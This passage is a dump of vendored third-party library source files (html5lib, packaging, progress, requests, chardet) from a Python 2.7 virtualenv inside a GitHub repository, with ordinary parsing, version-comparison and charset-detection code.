45 | while self._keys[i].startswith(prefix):
46 | keys.add(self._keys[i])
47 | i += 1
48 |
49 | self._cachestr = prefix
50 | self._cachepoints = (start, i)
51 |
52 | return keys
53 |
54 | def has_keys_with_prefix(self, prefix):
55 | if prefix in self._data:
56 | return True
57 |
58 | if prefix.startswith(self._cachestr):
59 | lo, hi = self._cachepoints
60 | i = bisect_left(self._keys, prefix, lo, hi)
61 | else:
62 | i = bisect_left(self._keys, prefix)
63 |
64 | if i == len(self._keys):
65 | return False
66 |
67 | return self._keys[i].startswith(prefix)
68 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/muhammedessa/python_hacks/f87e75792ab740d04ef46bdfccb7292629f0248e/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/__init__.py
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/alphabeticalattributes.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import, division, unicode_literals
2 |
3 | from . import base
4 |
5 | try:
6 | from collections import OrderedDict
7 | except ImportError:
8 | from ordereddict import OrderedDict
9 |
10 |
11 | class Filter(base.Filter):
12 | def __iter__(self):
13 | for token in base.Filter.__iter__(self):
14 | if token["type"] in ("StartTag", "EmptyTag"):
15 | attrs = OrderedDict()
16 | for name, value in sorted(token["data"].items(),
17 | key=lambda x: x[0]):
18 | attrs[name] = value
19 | token["data"] = attrs
20 | yield token
21 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/base.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import, division, unicode_literals
2 |
3 |
4 | class Filter(object):
5 | def __init__(self, source):
6 | self.source = source
7 |
8 | def __iter__(self):
9 | return iter(self.source)
10 |
11 | def __getattr__(self, name):
12 | return getattr(self.source, name)
13 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/filters/whitespace.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import, division, unicode_literals
2 |
3 | import re
4 |
5 | from . import base
6 | from ..constants import rcdataElements, spaceCharacters
7 | spaceCharacters = "".join(spaceCharacters)
8 |
9 | SPACES_REGEX = re.compile("[%s]+" % spaceCharacters)
10 |
11 |
12 | class Filter(base.Filter):
13 |
14 | spacePreserveElements = frozenset(["pre", "textarea"] + list(rcdataElements))
15 |
16 | def __iter__(self):
17 | preserve = 0
18 | for token in base.Filter.__iter__(self):
19 | type = token["type"]
20 | if type == "StartTag" \
21 | and (preserve or token["name"] in self.spacePreserveElements):
22 | preserve += 1
23 |
24 | elif type == "EndTag" and preserve:
25 | preserve -= 1
26 |
27 | elif not preserve and type == "SpaceCharacters" and token["data"]:
28 | # Test on token["data"] above to not introduce spaces where there were not
29 | token["data"] = " "
30 |
31 | elif not preserve and type == "Characters":
32 | token["data"] = collapse_spaces(token["data"])
33 |
34 | yield token
35 |
36 |
37 | def collapse_spaces(text):
38 | return SPACES_REGEX.sub(' ', text)
39 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/treeadapters/__init__.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import, division, unicode_literals
2 |
3 | from . import sax
4 |
5 | __all__ = ["sax"]
6 |
7 | try:
8 | from . import genshi # noqa
9 | except ImportError:
10 | pass
11 | else:
12 | __all__.append("genshi")
13 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/treeadapters/genshi.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import, division, unicode_literals
2 |
3 | from genshi.core import QName, Attrs
4 | from genshi.core import START, END, TEXT, COMMENT, DOCTYPE
5 |
6 |
7 | def to_genshi(walker):
8 | text = []
9 | for token in walker:
10 | type = token["type"]
11 | if type in ("Characters", "SpaceCharacters"):
12 | text.append(token["data"])
13 | elif text:
14 | yield TEXT, "".join(text), (None, -1, -1)
15 | text = []
16 |
17 | if type in ("StartTag", "EmptyTag"):
18 | if token["namespace"]:
19 | name = "{%s}%s" % (token["namespace"], token["name"])
20 | else:
21 | name = token["name"]
22 | attrs = Attrs([(QName("{%s}%s" % attr if attr[0] is not None else attr[1]), value)
23 | for attr, value in token["data"].items()])
24 | yield (START, (QName(name), attrs), (None, -1, -1))
25 | if type == "EmptyTag":
26 | type = "EndTag"
27 |
28 | if type == "EndTag":
29 | if token["namespace"]:
30 | name = "{%s}%s" % (token["namespace"], token["name"])
31 | else:
32 | name = token["name"]
33 |
34 | yield END, QName(name), (None, -1, -1)
35 |
36 | elif type == "Comment":
37 | yield COMMENT, token["data"], (None, -1, -1)
38 |
39 | elif type == "Doctype":
40 | yield DOCTYPE, (token["name"], token["publicId"],
41 | token["systemId"]), (None, -1, -1)
42 |
43 | else:
44 | pass # FIXME: What to do?
45 |
46 | if text:
47 | yield TEXT, "".join(text), (None, -1, -1)
48 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/treeadapters/sax.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import, division, unicode_literals
2 |
3 | from xml.sax.xmlreader import AttributesNSImpl
4 |
5 | from ..constants import adjustForeignAttributes, unadjustForeignAttributes
6 |
7 | prefix_mapping = {}
8 | for prefix, localName, namespace in adjustForeignAttributes.values():
9 | if prefix is not None:
10 | prefix_mapping[prefix] = namespace
11 |
12 |
13 | def to_sax(walker, handler):
14 | """Call SAX-like content handler based on treewalker walker"""
15 | handler.startDocument()
16 | for prefix, namespace in prefix_mapping.items():
17 | handler.startPrefixMapping(prefix, namespace)
18 |
19 | for token in walker:
20 | type = token["type"]
21 | if type == "Doctype":
22 | continue
23 | elif type in ("StartTag", "EmptyTag"):
24 | attrs = AttributesNSImpl(token["data"],
25 | unadjustForeignAttributes)
26 | handler.startElementNS((token["namespace"], token["name"]),
27 | token["name"],
28 | attrs)
29 | if type == "EmptyTag":
30 | handler.endElementNS((token["namespace"], token["name"]),
31 | token["name"])
32 | elif type == "EndTag":
33 | handler.endElementNS((token["namespace"], token["name"]),
34 | token["name"])
35 | elif type in ("Characters", "SpaceCharacters"):
36 | handler.characters(token["data"])
37 | elif type == "Comment":
38 | pass
39 | else:
40 | assert False, "Unknown token type"
41 |
42 | for prefix, namespace in prefix_mapping.items():
43 | handler.endPrefixMapping(prefix)
44 | handler.endDocument()
45 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/html5lib/treewalkers/dom.py:
--------------------------------------------------------------------------------
1 | from __future__ import absolute_import, division, unicode_literals
2 |
3 | from xml.dom import Node
4 |
5 | from . import base
6 |
7 |
8 | class TreeWalker(base.NonRecursiveTreeWalker):
9 | def getNodeDetails(self, node):
10 | if node.nodeType == Node.DOCUMENT_TYPE_NODE:
11 | return base.DOCTYPE, node.name, node.publicId, node.systemId
12 |
13 | elif node.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE):
14 | return base.TEXT, node.nodeValue
15 |
16 | elif node.nodeType == Node.ELEMENT_NODE:
17 | attrs = {}
18 | for attr in list(node.attributes.keys()):
19 | attr = node.getAttributeNode(attr)
20 | if attr.namespaceURI:
21 | attrs[(attr.namespaceURI, attr.localName)] = attr.value
22 | else:
23 | attrs[(None, attr.name)] = attr.value
24 | return (base.ELEMENT, node.namespaceURI, node.nodeName,
25 | attrs, node.hasChildNodes())
26 |
27 | elif node.nodeType == Node.COMMENT_NODE:
28 | return base.COMMENT, node.nodeValue
29 |
30 | elif node.nodeType in (Node.DOCUMENT_NODE, Node.DOCUMENT_FRAGMENT_NODE):
31 | return (base.DOCUMENT,)
32 |
33 | else:
34 | return base.UNKNOWN, node.nodeType
35 |
36 | def getFirstChild(self, node):
37 | return node.firstChild
38 |
39 | def getNextSibling(self, node):
40 | return node.nextSibling
41 |
42 | def getParentNode(self, node):
43 | return node.parentNode
44 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/packaging/__about__.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 | __all__ = [
7 | "__title__", "__summary__", "__uri__", "__version__", "__author__",
8 | "__email__", "__license__", "__copyright__",
9 | ]
10 |
11 | __title__ = "packaging"
12 | __summary__ = "Core utilities for Python packages"
13 | __uri__ = "https://github.com/pypa/packaging"
14 |
15 | __version__ = "16.8"
16 |
17 | __author__ = "Donald Stufft and individual contributors"
18 | __email__ = "donald@stufft.io"
19 |
20 | __license__ = "BSD or Apache License, Version 2.0"
21 | __copyright__ = "Copyright 2014-2016 %s" % __author__
22 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/packaging/__init__.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 | from .__about__ import (
7 | __author__, __copyright__, __email__, __license__, __summary__, __title__,
8 | __uri__, __version__
9 | )
10 |
11 | __all__ = [
12 | "__title__", "__summary__", "__uri__", "__version__", "__author__",
13 | "__email__", "__license__", "__copyright__",
14 | ]
15 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/packaging/_compat.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 | import sys
7 |
8 |
9 | PY2 = sys.version_info[0] == 2
10 | PY3 = sys.version_info[0] == 3
11 |
12 | # flake8: noqa
13 |
14 | if PY3:
15 | string_types = str,
16 | else:
17 | string_types = basestring,
18 |
19 |
20 | def with_metaclass(meta, *bases):
21 | """
22 | Create a base class with a metaclass.
23 | """
24 | # This requires a bit of explanation: the basic idea is to make a dummy
25 | # metaclass for one level of class instantiation that replaces itself with
26 | # the actual metaclass.
27 | class metaclass(meta):
28 | def __new__(cls, name, this_bases, d):
29 | return meta(name, bases, d)
30 | return type.__new__(metaclass, 'temporary_class', (), {})
31 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/packaging/_structures.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 |
7 | class Infinity(object):
8 |
9 | def __repr__(self):
10 | return "Infinity"
11 |
12 | def __hash__(self):
13 | return hash(repr(self))
14 |
15 | def __lt__(self, other):
16 | return False
17 |
18 | def __le__(self, other):
19 | return False
20 |
21 | def __eq__(self, other):
22 | return isinstance(other, self.__class__)
23 |
24 | def __ne__(self, other):
25 | return not isinstance(other, self.__class__)
26 |
27 | def __gt__(self, other):
28 | return True
29 |
30 | def __ge__(self, other):
31 | return True
32 |
33 | def __neg__(self):
34 | return NegativeInfinity
35 |
36 | Infinity = Infinity()
37 |
38 |
39 | class NegativeInfinity(object):
40 |
41 | def __repr__(self):
42 | return "-Infinity"
43 |
44 | def __hash__(self):
45 | return hash(repr(self))
46 |
47 | def __lt__(self, other):
48 | return True
49 |
50 | def __le__(self, other):
51 | return True
52 |
53 | def __eq__(self, other):
54 | return isinstance(other, self.__class__)
55 |
56 | def __ne__(self, other):
57 | return not isinstance(other, self.__class__)
58 |
59 | def __gt__(self, other):
60 | return False
61 |
62 | def __ge__(self, other):
63 | return False
64 |
65 | def __neg__(self):
66 | return Infinity
67 |
68 | NegativeInfinity = NegativeInfinity()
69 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/packaging/utils.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 | import re
7 |
8 |
9 | _canonicalize_regex = re.compile(r"[-_.]+")
10 |
11 |
12 | def canonicalize_name(name):
13 | # This is taken from PEP 503.
14 | return _canonicalize_regex.sub("-", name).lower()
15 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/progress/counter.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # Copyright (c) 2012 Giorgos Verigakis
4 | #
5 | # Permission to use, copy, modify, and distribute this software for any
6 | # purpose with or without fee is hereby granted, provided that the above
7 | # copyright notice and this permission notice appear in all copies.
8 | #
9 | # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
10 | # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
11 | # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
12 | # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
13 | # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
14 | # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
15 | # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
16 |
17 | from . import Infinite, Progress
18 | from .helpers import WriteMixin
19 |
20 |
21 | class Counter(WriteMixin, Infinite):
22 | message = ''
23 | hide_cursor = True
24 |
25 | def update(self):
26 | self.write(str(self.index))
27 |
28 |
29 | class Countdown(WriteMixin, Progress):
30 | hide_cursor = True
31 |
32 | def update(self):
33 | self.write(str(self.remaining))
34 |
35 |
36 | class Stack(WriteMixin, Progress):
37 | phases = (u' ', u'▁', u'▂', u'▃', u'▄', u'▅', u'▆', u'▇', u'█')
38 | hide_cursor = True
39 |
40 | def update(self):
41 | nphases = len(self.phases)
42 | i = min(nphases - 1, int(self.progress * nphases))
43 | self.write(self.phases[i])
44 |
45 |
46 | class Pie(Stack):
47 | phases = (u'○', u'◔', u'◑', u'◕', u'●')
48 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/progress/spinner.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | # Copyright (c) 2012 Giorgos Verigakis
4 | #
5 | # Permission to use, copy, modify, and distribute this software for any
6 | # purpose with or without fee is hereby granted, provided that the above
7 | # copyright notice and this permission notice appear in all copies.
8 | #
9 | # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
10 | # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
11 | # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
12 | # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
13 | # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
14 | # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
15 | # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
16 |
17 | from . import Infinite
18 | from .helpers import WriteMixin
19 |
20 |
21 | class Spinner(WriteMixin, Infinite):
22 | message = ''
23 | phases = ('-', '\\', '|', '/')
24 | hide_cursor = True
25 |
26 | def update(self):
27 | i = self.index % len(self.phases)
28 | self.write(self.phases[i])
29 |
30 |
31 | class PieSpinner(Spinner):
32 | phases = [u'◷', u'◶', u'◵', u'◴']
33 |
34 |
35 | class MoonSpinner(Spinner):
36 | phases = [u'◑', u'◒', u'◐', u'◓']
37 |
38 |
39 | class LineSpinner(Spinner):
40 | phases = [u'⎺', u'⎻', u'⎼', u'⎽', u'⎼', u'⎻']
41 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/re-vendor.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import pip
4 | import glob
5 | import shutil
6 |
7 | here = os.path.abspath(os.path.dirname(__file__))
8 |
9 | def usage():
10 | print("Usage: re-vendor.py [clean|vendor]")
11 | sys.exit(1)
12 |
13 | def clean():
14 | for fn in os.listdir(here):
15 | dirname = os.path.join(here, fn)
16 | if os.path.isdir(dirname):
17 | shutil.rmtree(dirname)
18 | # six is a single file, not a package
19 | os.unlink(os.path.join(here, 'six.py'))
20 |
21 | def vendor():
22 | pip.main(['install', '-t', here, '-r', 'vendor.txt'])
23 | for dirname in glob.glob('*.egg-info'):
24 | shutil.rmtree(dirname)
25 |
26 | if __name__ == '__main__':
27 | if len(sys.argv) != 2:
28 | usage()
29 | if sys.argv[1] == 'clean':
30 | clean()
31 | elif sys.argv[1] == 'vendor':
32 | vendor()
33 | else:
34 | usage()
35 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/certs.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | requests.certs
6 | ~~~~~~~~~~~~~~
7 |
8 | This module returns the preferred default CA certificate bundle.
9 |
10 | If you are packaging Requests, e.g., for a Linux distribution or a managed
11 | environment, you can change the definition of where() to return a separately
12 | packaged CA bundle.
13 | """
14 | import os.path
15 |
16 | try:
17 | from certifi import where
18 | except ImportError:
19 | def where():
20 | """Return the preferred certificate bundle."""
21 | # vendored bundle inside Requests
22 | return os.path.join(os.path.dirname(__file__), 'cacert.pem')
23 |
24 | if __name__ == '__main__':
25 | print(where())
26 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/compat.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | """
4 | requests.compat
5 | ~~~~~~~~~~~~~~~
6 |
7 | This module handles import compatibility issues between Python 2 and
8 | Python 3.
9 | """
10 |
11 | from .packages import chardet
12 |
13 | import sys
14 |
15 | # -------
16 | # Pythons
17 | # -------
18 |
19 | # Syntax sugar.
20 | _ver = sys.version_info
21 |
22 | #: Python 2.x?
23 | is_py2 = (_ver[0] == 2)
24 |
25 | #: Python 3.x?
26 | is_py3 = (_ver[0] == 3)
27 |
28 | # Note: We've patched out simplejson support in pip because it prevents
29 | # upgrading simplejson on Windows.
30 | # try:
31 | # import simplejson as json
32 | # except (ImportError, SyntaxError):
33 | # # simplejson does not support Python 3.2, it throws a SyntaxError
34 | # # because of u'...' Unicode literals.
35 | import json
36 |
37 | # ---------
38 | # Specifics
39 | # ---------
40 |
41 | if is_py2:
42 | from urllib import quote, unquote, quote_plus, unquote_plus, urlencode, getproxies, proxy_bypass
43 | from urlparse import urlparse, urlunparse, urljoin, urlsplit, urldefrag
44 | from urllib2 import parse_http_list
45 | import cookielib
46 | from Cookie import Morsel
47 | from StringIO import StringIO
48 | from .packages.urllib3.packages.ordered_dict import OrderedDict
49 |
50 | builtin_str = str
51 | bytes = str
52 | str = unicode
53 | basestring = basestring
54 | numeric_types = (int, long, float)
55 |
56 | elif is_py3:
57 | from urllib.parse import urlparse, urlunparse, urljoin, urlsplit, urlencode, quote, unquote, quote_plus, unquote_plus, urldefrag
58 | from urllib.request import parse_http_list, getproxies, proxy_bypass
59 | from http import cookiejar as cookielib
60 | from http.cookies import Morsel
61 | from io import StringIO
62 | from collections import OrderedDict
63 |
64 | builtin_str = str
65 | str = str
66 | bytes = bytes
67 | basestring = (str, bytes)
68 | numeric_types = (int, float)
69 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/hooks.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | """
4 | requests.hooks
5 | ~~~~~~~~~~~~~~
6 |
7 | This module provides the capabilities for the Requests hooks system.
8 |
9 | Available hooks:
10 |
11 | ``response``:
12 | The response generated from a Request.
13 | """
14 | HOOKS = ['response']
15 |
16 |
17 | def default_hooks():
18 | return dict((event, []) for event in HOOKS)
19 |
20 | # TODO: response is the only one
21 |
22 |
23 | def dispatch_hook(key, hooks, hook_data, **kwargs):
24 | """Dispatches a hook dictionary on a given piece of data."""
25 | hooks = hooks or dict()
26 | hooks = hooks.get(key)
27 | if hooks:
28 | if hasattr(hooks, '__call__'):
29 | hooks = [hooks]
30 | for hook in hooks:
31 | _hook_data = hook(hook_data, **kwargs)
32 | if _hook_data is not None:
33 | hook_data = _hook_data
34 | return hook_data
35 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/__init__.py:
--------------------------------------------------------------------------------
1 | '''
2 | Debian and other distributions "unbundle" requests' vendored dependencies, and
3 | rewrite all imports to use the global versions of ``urllib3`` and ``chardet``.
4 | The problem with this is that not only requests itself imports those
5 | dependencies, but third-party code outside of the distros' control too.
6 |
7 | In reaction to these problems, the distro maintainers replaced
8 | ``requests.packages`` with a magical "stub module" that imports the correct
9 | modules. The implementations were varying in quality and all had severe
10 | problems. For example, a symlink (or hardlink) that links the correct modules
11 | into place introduces problems regarding object identity, since you now have
12 | two modules in `sys.modules` with the same API, but different identities::
13 |
14 | requests.packages.urllib3 is not urllib3
15 |
16 | With version ``2.5.2``, requests started to maintain its own stub, so that
17 | distro-specific breakage would be reduced to a minimum, even though the whole
18 | issue is not requests' fault in the first place. See
19 | https://github.com/kennethreitz/requests/pull/2375 for the corresponding pull
20 | request.
21 | '''
22 |
23 | from __future__ import absolute_import
24 | import sys
25 |
26 | try:
27 | from . import urllib3
28 | except ImportError:
29 | import urllib3
30 | sys.modules['%s.urllib3' % __name__] = urllib3
31 |
32 | try:
33 | from . import chardet
34 | except ImportError:
35 | import chardet
36 | sys.modules['%s.chardet' % __name__] = chardet
37 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/__init__.py:
--------------------------------------------------------------------------------
1 | ######################## BEGIN LICENSE BLOCK ########################
2 | # This library is free software; you can redistribute it and/or
3 | # modify it under the terms of the GNU Lesser General Public
4 | # License as published by the Free Software Foundation; either
5 | # version 2.1 of the License, or (at your option) any later version.
6 | #
7 | # This library is distributed in the hope that it will be useful,
8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
10 | # Lesser General Public License for more details.
11 | #
12 | # You should have received a copy of the GNU Lesser General Public
13 | # License along with this library; if not, write to the Free Software
14 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
15 | # 02110-1301 USA
16 | ######################### END LICENSE BLOCK #########################
17 |
18 | __version__ = "2.3.0"
19 | from sys import version_info
20 |
21 |
22 | def detect(aBuf):
23 | if ((version_info < (3, 0) and isinstance(aBuf, unicode)) or
24 | (version_info >= (3, 0) and not isinstance(aBuf, bytes))):
25 | raise ValueError('Expected a bytes object, not a unicode object')
26 |
27 | from . import universaldetector
28 | u = universaldetector.UniversalDetector()
29 | u.reset()
30 | u.feed(aBuf)
31 | u.close()
32 | return u.result
33 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/big5prober.py:
--------------------------------------------------------------------------------
1 | ######################## BEGIN LICENSE BLOCK ########################
2 | # The Original Code is Mozilla Communicator client code.
3 | #
4 | # The Initial Developer of the Original Code is
5 | # Netscape Communications Corporation.
6 | # Portions created by the Initial Developer are Copyright (C) 1998
7 | # the Initial Developer. All Rights Reserved.
8 | #
9 | # Contributor(s):
10 | # Mark Pilgrim - port to Python
11 | #
12 | # This library is free software; you can redistribute it and/or
13 | # modify it under the terms of the GNU Lesser General Public
14 | # License as published by the Free Software Foundation; either
15 | # version 2.1 of the License, or (at your option) any later version.
16 | #
17 | # This library is distributed in the hope that it will be useful,
18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
20 | # Lesser General Public License for more details.
21 | #
22 | # You should have received a copy of the GNU Lesser General Public
23 | # License along with this library; if not, write to the Free Software
24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
25 | # 02110-1301 USA
26 | ######################### END LICENSE BLOCK #########################
27 |
28 | from .mbcharsetprober import MultiByteCharSetProber
29 | from .codingstatemachine import CodingStateMachine
30 | from .chardistribution import Big5DistributionAnalysis
31 | from .mbcssm import Big5SMModel
32 |
33 |
34 | class Big5Prober(MultiByteCharSetProber):
35 | def __init__(self):
36 | MultiByteCharSetProber.__init__(self)
37 | self._mCodingSM = CodingStateMachine(Big5SMModel)
38 | self._mDistributionAnalyzer = Big5DistributionAnalysis()
39 | self.reset()
40 |
41 | def get_charset_name(self):
42 | return "Big5"
43 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/charsetprober.py:
--------------------------------------------------------------------------------
1 | ######################## BEGIN LICENSE BLOCK ########################
2 | # The Original Code is Mozilla Universal charset detector code.
3 | #
4 | # The Initial Developer of the Original Code is
5 | # Netscape Communications Corporation.
6 | # Portions created by the Initial Developer are Copyright (C) 2001
7 | # the Initial Developer. All Rights Reserved.
8 | #
9 | # Contributor(s):
10 | # Mark Pilgrim - port to Python
11 | # Shy Shalom - original C code
12 | #
13 | # This library is free software; you can redistribute it and/or
14 | # modify it under the terms of the GNU Lesser General Public
15 | # License as published by the Free Software Foundation; either
16 | # version 2.1 of the License, or (at your option) any later version.
17 | #
18 | # This library is distributed in the hope that it will be useful,
19 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
20 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
21 | # Lesser General Public License for more details.
22 | #
23 | # You should have received a copy of the GNU Lesser General Public
24 | # License along with this library; if not, write to the Free Software
25 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
26 | # 02110-1301 USA
27 | ######################### END LICENSE BLOCK #########################
28 |
29 | from . import constants
30 | import re
31 |
32 |
33 | class CharSetProber:
34 | def __init__(self):
35 | pass
36 |
37 | def reset(self):
38 | self._mState = constants.eDetecting
39 |
40 | def get_charset_name(self):
41 | return None
42 |
43 | def feed(self, aBuf):
44 | pass
45 |
46 | def get_state(self):
47 | return self._mState
48 |
49 | def get_confidence(self):
50 | return 0.0
51 |
52 | def filter_high_bit_only(self, aBuf):
53 | aBuf = re.sub(b'([\x00-\x7F])+', b' ', aBuf)
54 | return aBuf
55 |
56 | def filter_without_english_letters(self, aBuf):
57 | aBuf = re.sub(b'([A-Za-z])+', b' ', aBuf)
58 | return aBuf
59 |
60 | def filter_with_english_letters(self, aBuf):
61 | # TODO
62 | return aBuf
63 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/compat.py:
--------------------------------------------------------------------------------
1 | ######################## BEGIN LICENSE BLOCK ########################
2 | # Contributor(s):
3 | # Ian Cordasco - port to Python
4 | #
5 | # This library is free software; you can redistribute it and/or
6 | # modify it under the terms of the GNU Lesser General Public
7 | # License as published by the Free Software Foundation; either
8 | # version 2.1 of the License, or (at your option) any later version.
9 | #
10 | # This library is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13 | # Lesser General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU Lesser General Public
16 | # License along with this library; if not, write to the Free Software
17 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
18 | # 02110-1301 USA
19 | ######################### END LICENSE BLOCK #########################
20 |
21 | import sys
22 |
23 |
24 | if sys.version_info < (3, 0):
25 | base_str = (str, unicode)
26 | else:
27 | base_str = (bytes, str)
28 |
29 |
30 | def wrap_ord(a):
31 | if sys.version_info < (3, 0) and isinstance(a, base_str):
32 | return ord(a)
33 | else:
34 | return a
35 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/constants.py:
--------------------------------------------------------------------------------
1 | ######################## BEGIN LICENSE BLOCK ########################
2 | # The Original Code is Mozilla Universal charset detector code.
3 | #
4 | # The Initial Developer of the Original Code is
5 | # Netscape Communications Corporation.
6 | # Portions created by the Initial Developer are Copyright (C) 2001
7 | # the Initial Developer. All Rights Reserved.
8 | #
9 | # Contributor(s):
10 | # Mark Pilgrim - port to Python
11 | # Shy Shalom - original C code
12 | #
13 | # This library is free software; you can redistribute it and/or
14 | # modify it under the terms of the GNU Lesser General Public
15 | # License as published by the Free Software Foundation; either
16 | # version 2.1 of the License, or (at your option) any later version.
17 | #
18 | # This library is distributed in the hope that it will be useful,
19 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
20 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
21 | # Lesser General Public License for more details.
22 | #
23 | # You should have received a copy of the GNU Lesser General Public
24 | # License along with this library; if not, write to the Free Software
25 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
26 | # 02110-1301 USA
27 | ######################### END LICENSE BLOCK #########################
28 |
29 | _debug = 0
30 |
31 | eDetecting = 0
32 | eFoundIt = 1
33 | eNotMe = 2
34 |
35 | eStart = 0
36 | eError = 1
37 | eItsMe = 2
38 |
39 | SHORTCUT_THRESHOLD = 0.95
40 |
--------------------------------------------------------------------------------
/venv/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/cp949prober.py:
--------------------------------------------------------------------------------
1 | ######################## BEGIN LICENSE BLOCK ########################
2 | # The Original Code is mozilla.org code.
3 | #
